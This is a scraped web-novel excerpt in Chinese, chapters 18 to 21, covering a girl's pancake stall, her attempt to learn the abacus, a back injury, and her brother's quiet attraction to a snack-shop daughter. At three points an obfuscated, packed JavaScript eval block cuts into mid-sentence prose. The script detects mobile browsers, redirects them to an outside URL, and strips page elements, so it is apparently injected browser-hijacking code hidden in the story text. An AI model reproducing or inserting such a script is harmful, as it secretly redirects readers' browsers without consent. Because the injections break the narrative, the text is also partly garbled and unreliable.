乔秀珠身前的那个柜台，顶上原横着一根粗粗的杆子，是平日里用来吊挂柿饼的。那杆子位置不高不低，约与她的头顶齐平。平日在柜台前算账，她总是低着头，因此并不会碰到这根杆子。 然而此刻，她正生着气，注意力全不在这里，压根没留意到头顶的杆子。 只见她头一转，眼看着脑袋就要撞上那根杆子。 站在一旁的陈瑞平眼尖，把这一幕看得分明，下意识地赶紧伸出手去垫在杆子上，试图护住乔秀珠的头。 下一秒，乔秀珠的头便结结实实地撞了上去。 陈瑞平忙关切道：“你没事吧？” “我……我没事。”乔秀珠一时有些发愣，待反应过来后，目光方落到陈瑞平的手上，“……倒是你的手，疼不疼？” 陈瑞平这才意识到，自己的手还举在杆子上，赶忙将手收了回来。 这一下撞得颇重，但毕竟是肉撞肉，虽然疼，总不会伤到筋骨。 “不疼，没事。”陈瑞平一边说着，一边下意识地甩了甩有些发麻的手。 他后知后觉地有些腼腆起来。 刚刚情况紧急，来不及多想，他的手就伸出去了。当时，他的心猛地一紧，生怕她会受伤。 乔秀珠浑不似他这么扭捏。 她抓了一把果脯，用纸包上，连着刚刚的点心一起打包。 “为了感谢你，我再送些果脯与你们吃。刚才那人，是我那没用的爹，他就是话多，别理他。” 陈瑞安猜到，她多半是借此由头，想多送他们一些东西，也就不推拒了，大大方方接过袋子，笑道：“那我们就不客气了。秀珠姐，过年你没事做，来我家找我玩，榕树巷最前面一家就是。” 乔秀珠欣然答应：“好啊，我一定去。” 走出麻花店，看着手上的零食，陈瑞安顿觉，年味儿一下子就浓了起来。 她心想，得好好享受这难得的清闲才是，年后又该有得忙了。 过完年，舒先生就要去到省城暂住，为明年八月的乡试做准备了。 18. 学算盘 过年在家，闲来无事，陈瑞安那颗想学算盘的心又蠢蠢欲动起来。 虽说卖酱香饼是小生意，赚多赚少，每日收摊的时候数一数便知道，平日里并用不上算盘。 但这些日子，她为这小小的摊位倾注了无数的心血，而小摊也用真金白银的给予了她回报。 这悄然间喂大了陈瑞安的野心。 她不想如其他摊主那般，做一天和尚撞一天钟，能赚多少算多少。 小摊虽小，陈瑞安还是暗暗怀着一颗做大做强的心的。 要想实现这个梦想，就得回顾过去、展望未来，对小摊的账目事无巨细地进行分析，才能更好地进行发展决策。 从最基础的统计一周、一月的营收，到估算成本利润，乃至于计算营收的同比增长，要进行这些复杂的计算，那算盘可就是个必不可少的工具了。 上辈子每一个寒假都玩得找不着北，连寒假作业都要堆到最后一晚才写的陈瑞安，此刻决定卷自己一把。 班主任曾经说过，查缺补漏、弯道超车，寒假就是最好的机会。 爹正半躺着在床上，给娘和奶奶读话本。 为了爹那折了的尾骨，陈瑞安和娘一起，研究着做了个马桶垫形状的坐垫。这样一来，爹坐着或像这样半躺着的时候，就不会压到尾骨了。 虽然谈不上舒服，但总好过终日趴着。 “那人道：‘狂徒！今日你总算被我逮了个现行，看爷爷我的拳头！’说罢，那人——” 爹正绘声绘色地念着话本，陈瑞安凑上前去，眨巴眨巴眼睛：“爹，别念了，教我打算盘呗。” 张金花和奶奶磕着瓜子，正听听得津津有味，被陈瑞安这么骤得一打断，十分不满。 奶奶道：“真讨厌！正听到关要处，你这么一搅和，气氛都没了。” 张金花也附和道：“哎呀，算盘什么时候学不行？难得过年清闲，你就先歇一歇，等过完年再学也不迟嘛。” 然而陈瑞安是个想到什么立即就要做的性子，一刻也等不了。 她扭着身子撒娇道：“你们就让让我吧！过完年我就忙起来了，又要顾摊子，又要去照顾青青。舒先生年后就去省城了，我就得在舒家待到戌时，比现在多整整一个时辰呢。根本没时间学算盘了。” 爹马上道：“我教你，我教你。” 说罢，爹吩咐她磨墨，自己提笔写了一张口诀下来。 “你先把这个口诀背下来。背熟了以后，我再教你后面的。” 陈瑞安狐疑道：“爹，你不是在调虎离山呢吧？想把我支开，好接着读话本？” “绝对不是。”爹矢口否认，“我们年轻的时候学算盘，都是从背口诀开始的。不信的话，下次见到你大伯的时候，你问他。” 陈瑞安将信将疑地接过口诀。 娘和奶奶能继续听话本了，自是高兴，兴奋地坐直了身子。 陈瑞安转移阵地，拿着口诀来到堂屋，准备静下心来好好背诵。 但没有理解作为基础，死记硬背，哪有那么好背！ 念了不知多少遍，她还在“翻开书马冬梅，关上书马什么梅”里循环。 “一上一，二上二，三下五去二，四下……四下……” “四下五去一。”一旁的陈瑞平幽幽道。 陈瑞平也没学过算盘，但他记性向来比陈瑞安好，在旁边跟着听了几遍，居然就记住了。 “你别打岔！我刚刚差点就想出来了！”陈瑞安气急败坏。 此刻她非常想念计算器。 遇事不要内耗，先怪别人。陈瑞安决定把一切归咎于爹把口诀的内涵一并教她，才害她不得不死记硬背。 这么想着，她又走进房间里，坚决要求爹给她详细讲解一下口诀。 奶奶和张金花才刚安生听了一会儿话本，不堪其扰，正要张嘴抱怨。突然，门口传来一阵“咚咚咚”的敲门声。 最近每每有人敲门，总没什么好事，一家人顿时都有些警觉起来，齐齐从窗子里探出头去望。 陈瑞平独自守在堂屋，因此他自觉地出去开了门。 然而来人却是个他意想不到的客人。 他一时惊讶，脱口而出道：“你怎么来了？” “怎么，我就不能来啦？可是你妹妹亲口邀请我来家里玩的。”门外的人笑嘻嘻地说道。 陈瑞平把人让了进来。 来者不是别人，正是乔氏麻花店的乔秀珠。 陈瑞安听到声音，早已辨认出来，一下子来了精神，兴奋地向外喊道：“秀珠姐！” 刚刚背不出口诀的烦恼，瞬间被抛到了九霄云外。 陈瑞安喜欢乔秀珠直来直去的性格，乔秀珠也欣赏她小小年纪在外摆摊的胆识才智。 两人相识的时间虽短，却十分聊得来，相处间已同多年好友般亲密。 今日，乔秀珠又与她爹大吵了一架。她在家越待越烦闷，忽然想起年前陈瑞安邀请她来家里玩的话，索性提了些点心，独自找来了榕树巷。 见朋友来找她玩，陈瑞安也很高兴，把她介绍给家人：“这就是秀珠姐，我跟你们提过的。” 奶奶见了乔秀珠，十分喜欢，牵她坐到自己身边，摩挲着她的手道：“好孩子，你今年多大了？” 奶奶向来喜欢眼睛大、身材壮实的年轻女孩子，当年她找儿媳的时候，一眼就看中了张金花，也正是这个缘故。 乔秀珠大大方方地回答道：“奶奶，过完年我就十九啦。” “哦，那跟我们家瑞平一样大。我听小安提起来，还以为你才十六七呢。这么大了，怎么家里还不给你说亲呀？” 张金花赶紧道：“娘，你问的这叫什么话！秀珠，老人家说话没轻重，你莫见怪。” 这话问得忒唐突。 一来，乔秀珠还是个大姑娘，不该上来就问人家的亲事，若是面皮薄些的姑娘，恐怕早羞得跑远了。 二来，大姑娘十九岁还没说上亲，总归是件愁人的事，不该戳人家心窝子。 然而，乔秀珠绝非寻常大姑娘。 她不但没生气，反而如逢知己般，拍拍奶奶的手，道：“奶奶说得太对了！” 爹娘四目相对，都有些摸不清状况。 乔秀珠接着道：“打我像小安这么大的时候，就常有媒婆上门说亲。可我爹只说不急不急，一直拖到了现在。 “他嘴上是说，好不容易养大的闺女，舍不得那么早嫁出去。其实，我心里清楚，他是舍不得一个免费的伙计呢！ “家里的店一直都是我在照看，把我嫁出去了，他们就得另雇一个人。花钱不说，又要可靠、又要会算账，这样的伙计哪有那么好找？ “既没有我用得顺手，也不像我一天这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223667|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样到晚都待在家里，随叫就能随到。 “奶奶，我说句真心话，我心里真是怨我爹的。耽误了我这么久，我再想嫁人，恐怕就只能挑鳏夫、老光棍了。再往坏了想，不知道的，还以为我是有什么难言之隐，才一直没嫁出去呢！” 奶奶听明白了，轻轻叹了口气，把乔秀珠的手握得紧紧的，心疼道：“唉，作孽哟，好孩子，你这心里得多委屈！” 张金花与乔秀珠有着相似的经历，她爹娘也曾把她当劳力扣着不放。她听得感同身受，眼泪都快要掉下来。 “秀珠啊，你要是有用得上我们家两个孩子的地方，尽管吩咐他们，让他们给你帮帮忙。你受了委屈，也让他们给你撑腰。”张金花真诚道。 见识过乔秀珠和她爹的相处，陈瑞安心想，秀珠姐自有手段，恐怕用不上咱们撑腰。 但该表达的心意还是要表达，她赶紧道：“没错没错，秀珠姐，你有需要一定要告诉我。不管什么事，我肯定尽力帮忙。” “瑞平，你也表个态。”张金花转头朝儿子说道。 陈瑞平听了乔秀珠一番倾诉，心里又气愤、又怜惜，甚至还有些莫名其妙的愧疚，一时间想入了神。 突然被母亲点名，他的脸一下子涨红了，显得有些手忙脚乱，结结巴巴地说道：“一定，一定。” 几人聚在一起，又说了许多的话，相谈甚欢，只觉时间过得飞快。 一直聊到饭点，张金花犹要留乔秀珠在家吃饭，但乔秀珠说什么也不肯再叨扰，执意要回家。 乔秀珠自己家里就是卖点心的，张金花没什么好给，只好硬塞了几个铜板给她做压岁钱，聊表心意。 担心乔秀珠不认识巷子里弯弯绕绕的路，张金花又特意派陈瑞平送她出巷子。 两人并肩走在空无一人的小巷里，把雪踩得咯吱作响。冬天的白昼总是格外短暂，天色渐暗，天边已经映着晚霞，给地上的雪披上了一层霞光。 陈瑞平像是突然鼓起了勇气，忽然没头没尾地说了一句：“你受苦了。” 乔秀珠愣了一下，笑道：“什么苦不苦的，家家有本难念的经，谁的日子都不好过。只不过没几个人像我这么爱发牢骚，受点委屈就到处说罢了。” 陈瑞平摇了摇头，道：“你不是在发牢骚。你是在保护自己。” 乔秀珠没想到陈瑞平会说这样的话，一时怔住。 每每同爹娘争执，她总爱在外抱怨一番。既是为了把气都撒出来，不至于白受委屈；也是为了证明自己不好惹，使他们之后多少能投鼠忌器，不会越做越过分。 连她自己也没有发现，她是在用自己的方式保护自己。 而身边这个只寥寥说过几句话的人，居然比她更懂她。 一时间，乔秀珠竟有些不知该如何回应，几乎是落荒而逃地道：“前面的路我认识，送到这里就可以了。” 陈瑞平看着乔秀珠离去的背影，又在原地怔怔地站了许久，才转身往家的方向走去。 他走得魂不守舍，简直顾不上看路。直到踩到一个又软又硬的东西，他低头一看，才发现地上躺着一只荷包。 是乔秀珠用来装香榧子的荷包。 他俯身轻轻捡起荷包，拿在手中，手指轻轻抚过绣纹，细细地端详起来，若有所思。 最终，他微微抿了抿唇，小心翼翼地将荷包收进了袖子里。 19. 一波三折 说起舒先生的科举之路，那真可谓是一波三折。 舒先生十二岁时，就已经展现出了罕见的天赋。 在短短一年内，他接连通过了县试、府试、院试，一举取得了生员的身份，成为了一名少年秀才。 不仅如此，在乡试中，他甚至取得了一等的成绩，成为了一名“廪生”。 “廪”是粮仓的意思，成为廪生，意味着每月都能领取到政府发放的官粮，可以没有后顾之忧地学习了。 在河头县这种小地方，秀才尚且很珍贵。 而舒家居然出了个只有十二岁的少年廪生，大可以被奉为神童了。 彼时，舒先生还不叫舒先生，人人喊他神童舒汶，一时间风头无两。 十四岁时，舒汶正紧锣密鼓地筹备着三年一度的乡试，连县太爷都对他寄予厚望。 谁料造化弄人，就在舒汶打算启程去参加乡试的前一天，舒先生的母亲在河边洗衣，不慎失足落水了。 幸运的是，当时恰好有几个孩子正在河里戏水，及时发现了溺水的舒母，把她救上了岸。 舒母悠悠转醒后，第一句话便是：别管我，让孩子去考试。 舒父、舒汶的先生、县太爷三人，聚在一起商量了一整天。 县太爷道，我是父母官，又惜才，盼孩子成才的心，一点儿不比你们做父亲、做老师的弱啊。 但是，依我的拙见，乡试三年一回，这次考不了，下次再考也不迟。 论情，为人子，倘若抛下生命垂危的母亲，自己去参加考试，万一母亲有个三长两短，必会抱憾终身。 论理，如果舒汶真能考上举人，那将来可是要做官的。母亲病危而不侍奉榻前，只顾自己奔前程，说出去不好听。要是不巧碰上那心怀叵测的小人，给他扣上一顶不孝的帽子，恐怕会影响仕途啊。 县太爷见多识广，一番话说得入情入理。极具说服力。舒父听后，心中虽有万般不舍与纠结，但权衡再三，最终还是咬着牙作出了决定——不考了，留在家里照顾母亲吧。 舒母虽然被救起，但溺水时间太久，身体已经受到了不可逆转的伤害。 舒汶从府学退学，在母亲侍奉榻前悉心侍奉了一年后，母亲还是带着遗憾离世了。 居父母丧者，不许入试。 为了守孝，舒汶又错过了十七岁的那场乡试。 此乃第一折。 舒母过世后，在叔伯的劝说和安排下，舒父又迎娶了一位新妻子进门。 这位继母过门不久，便给舒汶添了一个小弟弟。 自发妻死后，舒父愈发觉得世事无常，心头总萦绕着几分怅然。 但小儿子的诞生，犹如一道曙光穿透阴霾，又重新照亮了他的生活。新生命的到来的喜悦与希望，冲淡了往事带来的悲伤。 舒父大喜，对小儿子宠爱有加，常常将他抱在怀中，带出去逛街玩乐。 一日，舒父抱着小儿子回来，见他蔫蔫儿的，还以为是玩累了困了，便交给他母亲带着睡觉。 不料，第二日，那孩子便高烧不退，没几日便去了。 那年河头县城中天花肆虐，舒汶的小弟弟是最早的一批。 那孩子的母亲，小时候竟未曾发过痘，为了照顾孩子，她也染上了天花，很快也撒手人寰了。 为继母守孝，又是三年。 此乃第二折。 舒汶与孙阿瑜的婚约原是早早定下的。 舒父原本预备着，等儿子考取了功名再成亲，面上也更好看。 可谁料造化弄人，这接二连三的守孝，舒汶的功名也跟着遥遥无期。 怕耽误人家姑娘，舒父思来想去，干脆趁着继母的热孝，给舒汶成了亲。 丧妻、丧子、又丧妻，这一系列的变故，如同梦魇般，日夜缠着舒父，彻底击溃了他的精神，也摧残着他的身体。 他的身体每况愈下，渐渐流连病榻，大有油尽灯枯之意。 为了照顾父亲，舒汶又是不辞辛劳地四处奔波，寻医问药，访遍周边的名医；又是精心照料，在父亲床前精心照料，喂饭、擦身、陪父亲聊天解闷，事无巨细，不敢有丝毫懈怠。 二十三岁那年的乡试时，父亲的身体已是病入膏肓，气息奄奄。 舒汶自知准备不足，而父亲又正需要他时刻陪伴照料，权衡再三，他索性没有参加。 舒青出生不久后，舒父就离世了。 临终之际，舒父紧紧握着舒汶的手，道，是我耽误了你啊。 舒汶流着泪道，父亲请放心，儿子一定会考上功名，圆父亲母亲的梦。 此乃第三折。 孙阿瑜跟着照顾完公公，又要照顾孩子，身体很快也垮了。 看着虚弱的妻子和嗷嗷待哺的孩子，舒汶心急如焚，四处托人打听，最终找来了生过孩子、刚刚守寡的刘婶。 刘婶为人实诚、经验丰富，来了之后，主动帮忙带孩子、操持家务，把家里打理得井井有条，夫妻俩这才松了一口气。 只是舒家的田产进项有限，又接连治病人、办红白事，积蓄如流水般，早耗去了大半。再加上刘婶的薪水，又增一笔开支。 为了养家，舒汶办起了学堂，成为了舒先生。 二十九岁时，舒汶终于参加了他的第一次乡试。 距离第一次准备乡试，时隔已十五年。 然而名落孙山。 河头县的人们早忘了舒家有个神童的往事，只记得有个很会教书的舒先生。 但舒汶没有忘。 白天要教书，晚上要备课，他便熬夜、早起苦读。 白驹过隙，一晃又过去了六年，舒汶已经三十五岁了。 在这六年里，他从未有过一刻懈怠。无数个夜晚和早晨，他独坐于书桌前，伴着如豆的灯火，诵读着经史子集，学作了几百篇文章。 他扪心自问，觉得自己已经准备好了。 他要参加今年的乡试。 因此，他对这次考试十分重视。 自去年起，他的学堂就没有再收新的学生，只为能将全部精力聚焦于备考之上。 今年一开年，更是停了学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229701|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂的课，独自去省城请教名师，为八月份的乡试做准备。 舒先生一走，陈瑞安的工作一下子就艰巨起来。 其一是吃饭。 舒小姐挑食的毛病从小就有。一坐在饭桌前，她就挑挑拣拣，这个不想吃，那个不合口味，一顿饭下来，磨磨蹭蹭要耗费半个时辰，到最后，碗中往往还剩下不少饭菜。 孙阿瑜和刘婶都拿她没办法，只有陈瑞安和舒先生二人，在她跟前还算有些威严。只要他俩往旁边一坐，舒小姐就不敢太过放肆，至少能把饭吃完。 从前，陈瑞安只陪舒小姐吃早中两顿饭，已经颇磨人。如今舒先生一走，晚饭也要靠她来管。一天下来，光是操心舒小姐的吃饭问题，就耗费了她不少精力。 其二是功课。 舒先生，这一走便是半年，无法亲自教导舒小姐，他又担心女儿的学业荒废。 于是在离开之前，他便给舒小姐布置了极为详尽的学习任务，要她自学。 孙阿瑜和刘婶都不识字，监督并确保舒小姐按时赶上学习进度的艰巨任务，自然而然就全都落在了陈瑞安的肩头。 辅导过孩子写作业的都知道，比上一天班都累。 何况陈瑞安的学问比舒小姐差得远，又要监督她的赶上进度，又要提防她偷懒，要费许多心神。 陈瑞安的每一天都被安排得满满当当，忙得不可开交。 天未大亮，她就要起床准备酱香饼要用的酱料。招呼客人、煎饼抹酱，更是一刻都不得闲。白天，她又得全身心地投入到照看舒小姐的工作中。到了晚上，拖着疲惫的身体回了家，她也不能马上休息。她得仔细地算账，核算当天的收入和支出，还得静下心来思考小摊的经营策略。 陈瑞安的一天恨不得掰成八瓣儿用。 舒先生走了区区一个月，陈瑞安已觉心力交瘁，累得直不起腰来。 这日，舒小姐正默写一篇文章，陈瑞安则静静地在一旁看着她，提防她做什么小动作。 这是一篇南北朝时期的骈文，本就十分难背，生僻字又多。 舒小姐背得不熟，偷偷提前做了小抄，藏在袖子里。 只是陈瑞安的眼睛一刻都没从她身上移开过，她总没机会拿出来偷看。 陈瑞安把她的小动作看得一清二楚，并不揭穿，只是催促道：“快写。” 舒小姐心生一计，假意尖叫道：“啊！姐姐，那里有虫！” “哪里？” 陈瑞安虽然疑心这只“虫”是舒小姐凭空捏造出来的，但因舒小姐十分怕虫，她还是要亲自确认一下。 “在那里！”舒小姐指着桌子底下。 见陈瑞安弯下身子去找虫，舒小姐迅速掏出了自己的小抄，飞快地看了眼她正卡壳的句子。 然而，等她把这个句子都写下来了，才惊讶地发现陈瑞安居然还弯着身子在找虫。 “姐姐，找到了吗？”舒小姐有些心虚地问道。 桌子底下传来陈瑞安咬牙切齿的声音：“……没有。过来帮帮我，我的腰痛得直不起来了！” 20. 腰间盘突出 向孙阿瑜告了半天假，陈瑞安强忍着腰部的疼痛，独自去了医馆。 郎中替她检查，按按这里、按按那里，陈瑞安痛得腰上如有千万根针扎，脸色苍白，额头上豆大的汗珠止不住地滚落下来。 郎中嘴里不时发出“嗯？”声音。他每“嗯？”一声，陈瑞安的心便沉一分。 在郎中“嗯？”了五六声后，陈瑞安终于忍不住道：“大夫，我是要残疾了吗？” 郎中已经结束了检查，这才慢条斯理地道：“无妨。有腰病的人多得很，你这个不算严重。” “那您‘嗯？’是什么意思？听着怪吓人的。”陈瑞安悬着的心这才放下来，扶着腰问道。 郎中道：“得腰病的人，年长者多、务农者多、卖力气为生者多。我看你年纪轻轻，又衣冠整洁，不像做重体力活的人，不该得这个病啊。” 陈瑞安想了想，道：“务农者、卖力气为生者，都是要常年弯腰的。我是卖早点的，也要长时间弯腰呢，是不是这个缘故？” 为了减轻重量、方便携带，酱香饼挑子做得颇矮，陈瑞安平日煎饼，总不得不把腰弯得很低。 每每收摊时，她总是感到腰酸背痛，但没有哪一回如今天痛得这般剧烈，简直难以忍受。 “那就说得通了。”郎中一副了然的神情，点点头道，“但也不光是这个缘故。你才这么大，满打满算，卖早点至多不过一两年吧？按道理来说，是不会这么容易就患上腰病的。” 陈瑞安都不好意思说，自己才卖了几个月的酱香饼呢。 郎中又道：“老夫大胆猜测一下，你在走远路的时候，是否双腿很容易感到疲惫？” 还真是！陈瑞安点点头。 她同娘一起走路，她走半个时辰便觉得双腿如灌铅，第二天必肌肉酸痛，而娘走一两个时辰都还很轻松。 “那你大约是腰腹无力，走路、站姿都有问题，使腰部代为承受了其他地方的压力。经过了多年的积累，又因为最近疲劳，才诱发了腰病。” 陈瑞安赶紧问：“那该怎么纠正呢？” 郎中教她：“你站起来，想象头顶有一根绳子，把你整个人轻轻提了起来，肩膀放松。保持这个感觉，走两步试试。” 陈瑞安走了两步，果然感觉腿部轻松了许多，力量似乎更多地落到了腰腹上。 “你往后多多注意，最好要改变你这走路的习惯，才能从根本上解决问题。” 郎中说着，写了张单子递给她：“我给你开两副膏药，回去之后按时贴上。如果方便的话，最好能配合针灸治疗，好得更快。 “这几日要卧床休息，务必要等彻底不痛了再下地活动，不能着急。只要你按照我说的做，很快就好了，不必过于担心。” 陈瑞安赶紧追问道：“大概要卧床几天呢？” 郎中抬头看了她一眼，道：“每个人的情况不一样，少则七天，多的，二三个月也有的。我看你的情况不严重，但最起码要卧床休息七天以上。 “之后不能久站、弯腰，须得悉心养护，否则是很容易复发的。 “你说你是卖早点的，是吧？我建议你，最好还是能换个不必弯腰的营生。” “那怎么行？”陈瑞安急了，“我家里还欠着债，等我卖早点还呢！” “欠债？”郎中皱了皱眉毛，有些惊讶。他看这个小姑娘衣着打扮，还以为她家里宽裕呢，所以才建议她配合针灸。 郎中沉思片刻，拿回了陈瑞安手里的药单，改了几笔，道：“那我给你换一种膏药。效果是差不多的，价格要低一半。” 原来自己被当了一回冤大头而浑然不知，陈瑞安目瞪口呆。 揣着膏药，陈瑞安慢慢走回了家，心情十分沮丧。 这些日子，她忙得焦头烂额，本来就压力已经很大了。这下好了，因为这不争气的腰，还得被迫休息。 且不说舒小姐的学习，没她看管，必然会落后进度；单说那酱香饼摊子，少摆一天，就是少挣一天的钱哪！ 更何况，郎中还劝她换个营生——投进去的本钱、积累的客源，好不容易经营起来的摊子，是家里还债的指望呢！岂是说换就能换？ 虽然如此，走到家门口时，她还是强打起精神，深吸一口气，提前调整面部肌肉，硬扯出了一个轻松的表情。 她不想让家人太过担心。 张金花正在堂屋扫地，见她回来，惊讶道：“今日怎么这么早就回来了？” 从突然直不起腰，到去医馆看郎中，陈瑞安把今天的经历一五一十地向张金花讲述了一遍。 张金花听后，不禁咂舌道：“你这么点儿大，居然还有腰呢！郎中开药了吗？” “开了两副膏药给我。不过，郎中说了，药只是辅助，最重要的还是卧床修养。最起码要卧床七天呢！唉。”陈瑞安无奈道。 “唉哟，那你还站在这儿干嘛？快躺下。”张金花赶紧丢下扫帚，把女儿推到卧房里，小心翼翼地扶她慢慢躺下，又替她脱了鞋。 张金花坐在床沿，伸出手试探着在陈瑞安的腰上轻轻按了一下，问道：“是这儿疼吗？” “啊啊啊啊啊！别动别动，疼！” 刚刚在医馆里，被郎中按腰的时候，陈瑞安虽然疼得厉害，但也只好咬紧牙关硬忍下来；如今回到了家里，在娘的面前，她总算可以放心地鬼哭狼嚎了。 张金花没想到女儿的腰伤居然这么严重，听到她的痛呼，心里被揪住了似的难受，为自己的冒失而后悔不迭。 “怪我怪我，我不该乱动。”张金花自责道，“我帮你把袄和外裤脱下来，把被子盖上。这么冷的天，别给冻感冒了。” 陈瑞安见娘小心翼翼、忙前忙后的样子，不由有些心疼。 “娘，你除了照顾爹，现在还要照顾我，太辛苦了。” 张金花不以为意，笑了笑道：“这算什么？你无非是要卧床静养几天，又不是不能自己上厕所吃饭，照顾一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240355|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个你，还不是顺手的事儿。 “你和你爹两个人加起来，还比不上你爷爷一半呢。伺候你爷爷那么多年，我都伺候过来了。 “别瞎操心了，你就安心养着，把身体养好了比什么都强。” 话虽如此，陈瑞安还是有些焦虑：“往床上这么一躺，我是轻松了，可是事情都没人做了。” 张金花看着女儿愁眉不展的样子，安慰道：“怎么，离了你，难道太阳还不下山了？放一百个心吧，你就安心歇几天，会有解决办法的。 “你这才躺几天，舒先生要到八九月才回来呢。舒小姐那边，等你好了再去，也不迟。 “至于摊子，不是还有你哥哥呢吗？让他一个人去摆几天嘛。” 从前生意忙的时候，趁陈瑞安切饼的功夫，陈瑞平也帮着煎过饼，倒是做得来的，只是不熟练。 陈瑞安还是有些担忧：“我哥……他行吗？” 张金花摸摸女儿的头，让她放宽心：“不就是煎个饼，有什么行不行的？无非是慢一些，不碍事的。 “要我说，把你哥锻炼出来，以后，煎饼这种体力活就让他做，你负责收钱。招待客人，迎来送往的，你比他在行。” 事已至此，也只好这样了。 不过，娘说让哥哥负责煎饼的方案，陈瑞安倒觉得可行。只收银，总不会太伤腰吧？ 翌日清晨，天刚蒙蒙亮，陈瑞平简单洗漱过后，便独自挑着酱香饼挑子，去东街摆摊了。 没有妹妹帮忙拎面饼，陈瑞平明显感觉肩上的挑子比往日要重许多，每走一步都有些吃力，肩膀被扁担压得生疼。 布置好摊子，还没到有早高峰的时间，陈瑞平搓着手取暖，心里莫名有些紧张。 平日里，虽然他要负责吆喝，但只要客人到了摊前，基本上都是妹妹在招待。 介绍酱料、说明价格，妹妹都做得很好，有时还能同客人开开玩笑，推销更大份的酱香饼等。 陈瑞平的个性与妹妹很不相同。他自小内向，不擅长和人打交道。 在衙门里做文书工作时，即使要对接，也是和几个熟悉的同僚，交流起来还算自在。 如今要他独自看摊，独自面对形形色色的顾客，这还是头一遭。 哪怕只是一些询问价格、介绍口味之类的简单对话，他也还是不禁有些担忧，怕自己说错话，影响了生意。 陈瑞平正想着，摊前来了一个人影。他正打算招待，抬头一看，竟是乔秀珠。 刹那间，他只觉得呼吸滞住了，一股热流流遍了全身，丝毫不冷了。东街上嘈杂的声音，此刻好像忽然全部都消失了，他只能听见自己心跳如擂鼓。 上次小巷一别后，他还是第一次见到乔秀珠。 既喜悦，又忐忑；既期待，又害怕。 乔秀珠却好像什么事都没有发生过似的，带着一如往常的笑容，道：“老样子，我要一整张饼，一半辣一半不辣。小安今天怎么没来？” 21. 感激 那日在榕树巷，陈瑞平送来找妹妹陈瑞安玩的乔秀珠出巷子口。 当时，在他说出“你是在保护自己”的话后，他分明看见，乔秀珠的神色起了变化。 她为他的共鸣而动容，她带着卸下坚强盔甲般的脆弱，还有几分慌张，似乎是被他看穿了内心的秘密而有些不知所措。 陈瑞平看着她望向自己的眼睛，十分笃定，他们共享着同一种悸动。 那日后，陈瑞平无时无刻不惦念着乔秀珠。 一闭上眼睛，他的脑海中便会不由自主地浮现出乔秀珠的脸庞，仿佛能听见她清脆的声音，看见她那明媚的笑容。 但此刻，乔秀珠的神情、话语，都寻常得有些不可思议。 她明明什么都没有说、什么都没有做，陈瑞平却平白无故地感觉到，他们比往日更加生疏。 陈瑞平不禁怀疑起来，那天的一切，难道是我做的一场梦么？ 见陈瑞平纹丝不动，乔秀珠还以为是陈瑞安出了什么意外，忍不住问道：“怎么了，难道小安出什么事了吗？” 陈瑞平这才缓过神来，意识到自己的失态，手忙脚乱地拿起铲子，一边煎饼，一边声音略带颤抖地回道：“她……她没事，就是身体有些不舒服，在家歇着呢。” “啊？她怎么了？严重吗？”乔秀珠皱起眉头，十分关切地问道。 “没事没事，不严重。就是这些日子太累了，腰有些劳损。”陈瑞平偷偷抬眼瞧了瞧乔秀珠，见她面露担忧，又赶紧补充道：“郎中说了，休息几日，养养便好，不碍事的。” 乔秀珠叹口气，道：“她就是太拼了。年纪又小，不懂得千事万事，什么都比不上自己的身体要紧。” 说完，她微微低下头，若有所思，不再说话。 煎着饼的陈瑞平却很不自在。 他的心里有许多话想对乔秀珠说，可话到了嘴边，总觉得不合适，便又咽了回去。 他的时不时地偷偷看一眼乔秀珠，想要从她的脸上捕捉到一些不一样的神情，可乔秀珠却只是静静地站在那里，让他捉摸不透她的心思。 付过钱，乔秀珠带着酱香饼走了，留陈瑞平一个人怔怔地站在摊子前。 突然，他像是想起了什么，原本黯淡的眼睛，忽然又亮了起来。 不，不是梦。那天，他捡到的那只香囊，现在还在他的身上呢。 陈瑞平下意识地伸手摸了摸怀里的香囊，指尖触碰到那上面刺绣的纹路，感受到它的存在，心里顿时感到安心了一些。 也许，只是他会错了意。 乔秀珠当时的慌乱，只是因为觉得他的话太冒犯。 又或者，她觉得他们相交甚浅，不愿意把自己的脆弱袒露在他的面前，所以才会匆匆离开。 也正因此，她才会假装那天的一切都没有发生过。 想到这些，原本好不容易升起的希望又被否定，陈瑞平的心里不禁有些失落。 也许，本就是他太莽撞，给乔姑娘造成了困扰吧。 但生活没有留给他太多时间去东想西想。此时时候已经不早，早高峰的客流已经陆陆续续到来，他须得赶紧打起精神，准备着迎接这个忙碌的早晨了。 这是他头一次独自出摊，平日里有妹妹一起，凡是都有分工，可现在一个人要兼顾招待和煎饼、切饼等一系列事情，陈瑞平难免有些手忙脚乱。 他打起十二分精神，既怕冷落了顾客，又生怕饼煎糊了。 